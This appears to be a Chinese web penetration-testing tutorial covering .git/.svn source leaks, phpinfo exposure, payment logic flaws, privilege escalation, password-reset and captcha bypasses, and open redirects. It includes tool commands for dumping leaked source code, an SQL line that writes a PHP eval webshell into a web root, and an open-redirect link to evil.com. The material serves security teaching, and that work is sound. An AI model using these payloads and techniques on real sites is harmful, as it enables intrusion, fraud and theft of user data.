0x01 敏感信息泄露
信息泄漏是指在正常情況下不能被普通用戶訪問的敏感信息沒有被應用程序所保護，能夠直接訪問。就web來說這種類型的問題往往會帶來巨大的危害，攻擊者不僅可以輕松收集用戶手機號，姓名等隱私信息，更可以借此攻入企業后台甚至是getshell。下面介紹一些常見的web信息泄漏漏洞。
.git源碼泄露
在使用命令git init&git add *后會在當前目錄生成.git后綴的隱藏文件 文件路徑在 www.xxx.com/.git
我們使用GitHack工具對網頁源代碼進行下載
python2 GitHack.py http://localhost/.git
完成后會在GitHack目錄生成IP地址為名稱的文件夾 文件夾內保存網站源代碼
svn源碼泄露
svn<=1.6
從svn的結構圖可以看到一個目錄text-base,這里有我們源文件的備份,比如要下載www.xxx.com/phpinfo.php,直接訪問目錄www.xxx.com/.svn/text-base/phpinfo.php.text-base,一般的服務器既不會阻止該目錄也不會解釋該后綴，我們就可以直接讀到本地來。現在只是訪問最頂層的文件信息，那怎么遍歷呢？這里面就有.svn/entries，這個文件包含着該基礎目錄下所有的文件和目錄，直接遞推查找就行。
svn>1.6
svn在1.6之后引入了wc.db來管理文件，該文件位於.svn/wc.db。普通文件位置：www.xxx.com/.svn/pristine/xx/checksum.svn-base,checksum是文件的sha1值，xx則是它的前兩位。那這個checksum去哪找呢？就是我們剛才提到的wc.db，這是一個sqlite數據庫，下面分析下這個數據庫的結構。
使用sqlite3查看數據庫中的表名
sqlite3 wc.db .tables
繼續查詢NODES表里local_relpath和checksum的字段，可以看到所有的文件以及對應的sha1值
sqlite3 wc.db 'select local_relpath, checksum from NODES'
將文件名對應的sha1值進行拼接即可獲得文件路徑 查看源碼即可獲得頁面源碼
www.xxx.com/.svn/pristine/[sha1值前兩位]/[sha1值].svn-base,checksum
phpinfo信息泄露
使用目錄掃描工具例如nikto掃描目標
nikto -h http://www.xxx.com
如果掃描出phpinfo則可以搜索關鍵字SCRIPT_FILENAME找到站點目錄
通過Sql語句寫入webshell
select '<?php @eval($_REQUEST[pass]);?>' into outfile 'c://phpstudy//www//night7i.php'
0x02 支付邏輯漏洞
1.支付過程中可直接修改數據包中的支付金額
這種漏洞應該是支付漏洞中最常見的，主要針對支付寶等需要第三方支付的案例。開發人員往往會為了方便，直接在支付的關鍵步驟數據包中直接傳遞需要支付的金額。而這種金額后端沒有做校驗，傳遞過程中也沒有做簽名，導致可以隨意篡改金額提交。
只需要在支付過程中用抓包工具抓包發現有金額的參數修改成任意即可。
12308訂單支付時的總價未驗證漏洞(支付邏輯漏洞)
2.沒有對購買數量進行限制
這種案例也比較常見，產生的原因是開發人員沒有對購買商品的數量參數進行嚴格的限制。這種同樣是數量的參數沒有做簽名，在抓包后導致可隨意修改數量，經典的修改方式就是改成負數。
當購買的數量是一個負數時，總額的算法仍然是"購買數量x單價=總價"。所以這樣就會導致有一個負數的需支付金額。若支付成功，則可能導致購買到了一個負數數量的產品，也有可能購物網站會返還相應的積分/金幣到你的賬戶上。
但是，這種情況不可能發生在通過支付寶支付的訂單中，因為顯然支付寶是不支持一個負數金額的訂單，所以這種情況多數發生在一個有站內虛擬貨幣的網站。
國美網上商城支付漏洞1元訂購Iphone 4S！
3.購買商品編號篡改
例如商品積分兌換處，100個積分只能換商品編號為001的低價格商品，1000個積分能換商品編號005的高價格商品，在用100積分換商品的時候抓包把換商品的編號從001修改為005，用低積分換區高積分商品。
聯想某積分商城支付漏洞再繞過
4.支付邏輯順序執行缺陷
部分網站的支付邏輯可能是先A過程后B過程然后C過程最后D過程用戶控制着他們給應用程序發送的每一個請求，因此能夠按照任何順序進行訪問。但是，如果用戶直接從B直接進入了D過程，就繞過了C過程。如果C是支付過程，那么用戶就繞過了支付過程而買到了一件商品。如果C是驗證過程，就會繞過驗證直接進入網站程序了。
萬達某分站邏輯錯誤可繞過支付直接獲得取票密碼
5.請求重放
購買商品成功后，重放購買成功的http請求，可以使購買的商品一直增加。購買成功后，會有一個從銀行向商戶網站跳轉的過程，如果這個過程反復的重放，有可能導致商品的反復購買和增加，但是用戶不需要支付更多的金錢。
6.程序的異常處理
程序的異常處理比較少見，不過也是有案例的。程序的異常處理，就是指支付的數據包異常的程序的錯誤處理。這種異常可以是數據與KEY不符，支付的金額有錯誤，購買的數量不正確等等。程序的異常處理出現的原因主要是開發人員對出現異常后的處理不當造成的。
115網盤存在支付繞過
0x03 權限繞過漏洞
越權漏洞的成因主要是因為開發人員在對數據進行增、刪、改、查詢時對客戶端請求的數據過分相信而遺漏了權限的判定。越權又可以分為兩種：水平越權與垂直越權。接下來，將深入分析水平越權與垂直越權。
水平越權
水平越權就是相同級別（權限）的用戶或者同一角色的不同用戶之間，可以越權訪問、修改或者刪除的非法操作。如果出現此類漏洞，那么將可能會造成大批量數據泄露，嚴重的甚至會造成用戶信息被惡意篡改。
1.在服務端未做seesion校驗時，修改數據包中提交的數據來實現水平越權
垂直越權
垂直越權又叫做權限提升攻擊，具體原因就是web應用沒有做用戶權限控制，或者只是在菜單上做了權限控制，導致惡意用戶只要猜測到其他管理頁面的URL，就可以訪問或者控制其他角色擁有的數據或者頁面，達到權限提升的目的。
1.在普通用戶和管理員用戶存在於同一表內時，提交注冊普通用戶請求時，附帶管理員參數，可實現垂直越權
注意事項
- 越權漏洞可能導致遍歷用戶信息從而導致泄漏
- 數據庫里避免將管理員表和普通用戶表放在一起
- 垂直越權又被分為向上越權與向下越權
- 用戶對某數據進行增刪改查時需要去校驗下所操作的數據是否屬於該用戶
- web和app都可能發生越權漏洞
- 傳遞的訂單ID使用隨機數不可猜測可以一定程度上避免越權
0x04 密碼找回漏洞
為了防止用戶遺忘密碼，大多數網站都提供了找回密碼功能。常見的找回密碼方式有：郵箱找回密碼、根據密碼保護問題找回密碼、根據手機號碼找回密碼等。雖然這些方式都可以找回密碼，但實現方式各不相同。無論是哪種密碼找回方式，在找回密碼時，除了自己的用戶密碼，如果還能找回其他用戶的密碼，就存在密碼找回漏洞。
密碼找回漏洞在邏輯漏洞中占了較大的比例。測試密碼找回漏洞與其他邏輯漏洞的方法相同，其中必經的兩個步驟是：熟悉業務流程（密碼找回過程）與對流程中的HTTP請求分析。下面將介紹一些密碼找回漏洞。
1.密碼找回的憑證太弱，如只需要填入一個四位或者六位的純數字就可以重置密碼，導致可以暴力破解。
當當網任意用戶密碼修改漏洞
2.密碼找回憑證可從客戶端直接獲取。
密碼找回憑證在客戶端獲取，在密碼找回時注意抓包查看所有url返回響應等，看是否有最終的憑證出現，這樣就可以繞過手機或者安全郵箱了。
走秀網秀團任意密碼修改缺陷
3.密碼找回憑證在頁面中可以直接獲取。
一個經典案例，找回密碼的答案在網頁的源代碼中……
sohu郵箱任意用戶密碼重置
4.密碼找回憑證存並非只是與單個用戶並綁定的問題。
找回密碼的關鍵憑證僅僅是時間戳的md5，被白帽子犀利的察覺到~，輕松找回任意賬戶密碼。
奇虎360任意用戶密碼修改漏洞
5.密碼找回憑證存並非只是與單個用戶並綁定的問題。
找回密碼憑證發到郵箱中，url中包含用戶信息以及憑證，但是這個憑證可以重置任何用戶。
身份通任意密碼修改-泄漏大量公民信息
6.用戶找回密碼的郵箱地址或者手機號碼被修改。
這個其實應該是綁定安全手機的邏輯問題，導致可以使任意用戶幫上自己可控的安全手機，然后就可以重置任意人的手機號碼了。
網易郵箱可直接修改其他用戶密碼
7.在最后提交修改的密碼處的邏輯錯誤。
前面所有的邏輯都沒有問題，那么是不是就沒有問題了呢？
還有白帽子發現，在最后重置密碼處跟隨一個用戶ID，改成其它用戶的ID，即可把其它用戶改成你剛剛修改的密碼。
攜程旅行網任意老板密碼修改(慶在wooyun第100洞)
修復方案：
1.找回密碼憑證夠復雜並且不可猜測
2.密碼找回憑證在不該出現的地方不要出現
3.找回密碼時注意不要存在越權行為
0x05 驗證碼繞過漏洞
常見的驗證碼漏洞
1、客戶端問題
(1)客戶端生成驗證碼：驗證碼由客戶端js生成並且僅僅在客戶端用js驗證；
(2)驗證碼放在客戶端：輸出在html中（這樣的程序員！無語了！）
(3)驗證碼輸出在cookie中：JavaScript：alert（document.cookie）
2、服務端問題
(1)驗證碼不過期，沒有及時銷毀會話導致驗證碼復用；驗證碼不變
(2)沒有進行非空判斷；
(3)產生的驗證碼問題集內的答案非常有限
3、驗證碼太簡單，容易被機器識別
(驗證碼識別工具：PKAV HTTP Fuzzer)
0x06 url跳轉漏洞
由於web應用越來越多的需要和其他的第三方應用交互，以及在自身應用內部根據不同的邏輯將用戶引向到不同的頁面，譬如一個典型的登錄接口就經常需要在認證成功之后將用戶引導到登錄之前的頁面，整個過程中如果實現不好就可能導致一些安全問題，特定條件下可能引起嚴重的安全漏洞。
對於URL跳轉的實現一般會有幾種實現方式：
1. META標簽內跳轉
2. javascript跳轉
3. header頭跳轉
通過以GET或者POST的方式接收將要跳轉的URL，然后通過上面的幾種方式的其中一種來跳轉到目標URL。一方面，由於用戶的輸入會進入Meta，javascript，http頭所以都可能發生相應上下文的漏洞，如xss等等，但是同時，即使只是對於URL跳轉本身功能方面就存在一個缺陷，因為會將用戶瀏覽器從可信的站點導向到不可信的站點，同時如果跳轉的時候帶有敏感數據一樣可能將敏感數據泄漏給不可信的第三方。
譬如一個典型的登錄跳轉如下：
<?php
$url=$_GET['jumpto'];
header("Location: $url");
?>
如果jumpto沒有任何限制，所以惡意用戶可以提交
http://www.baidu.com/login.php?jumpto=http://www.evil.com
來生成自己的惡意鏈接，安全意識較低的用戶很可能會以為該鏈接展現的內容是www.baidu.com從而可能產生欺詐行為，同時由於QQ，淘寶旺旺等在線IM都是基於URL的過濾，同時對一些站點會一白名單的方式放過，所以導致惡意URL在IM里可以傳播，從而產生危害，譬如這里IM會認為www.baidu.com都是可信的，但是通過在IM里點擊上述鏈接將導致用戶最終訪問evil.com。
惡意用戶完全可以借用URL跳轉漏洞來欺騙安全意識低的用戶，從而導致“中獎”之類的欺詐，這對於一些有在線業務的企業如淘寶等，危害較大，同時借助URL跳轉，也可以突破常見的基於“白名單方式”的一些安全限制，如傳統IM里對於URL的傳播會進行安全校驗，但是對於大公司的域名及URL將直接允許通過並且顯示會可信的URL，而一旦該URL里包含一些跳轉漏洞將可能導致安全限制被繞過。
如果引用一些資源的限制是依賴於“白名單方式”，同樣可能被繞過導致安全風險，譬如常見的一些應用允許引入可信站點如youku.com的視頻，限制方式往往是檢查URL是否是youku.com來實現，如果youku.com內含一個url跳轉漏洞，將導致最終引入的資源屬於不可信的第三方資源或者惡意站點，最終導致安全問題。
漏洞通常發生在以下幾個地方：
1. 用戶登錄、統一身份認證處，認證完后會跳轉
2. 用戶分享、收藏內容過后，會跳轉
3. 跨站點認證、授權后，會跳轉
4. 站內點擊其它網址鏈接時，會跳轉
常見的可能產生漏洞的參數名：redirect，redirect_to，redirect_url，url，jump，jump_to，target，to，link，linkto，domain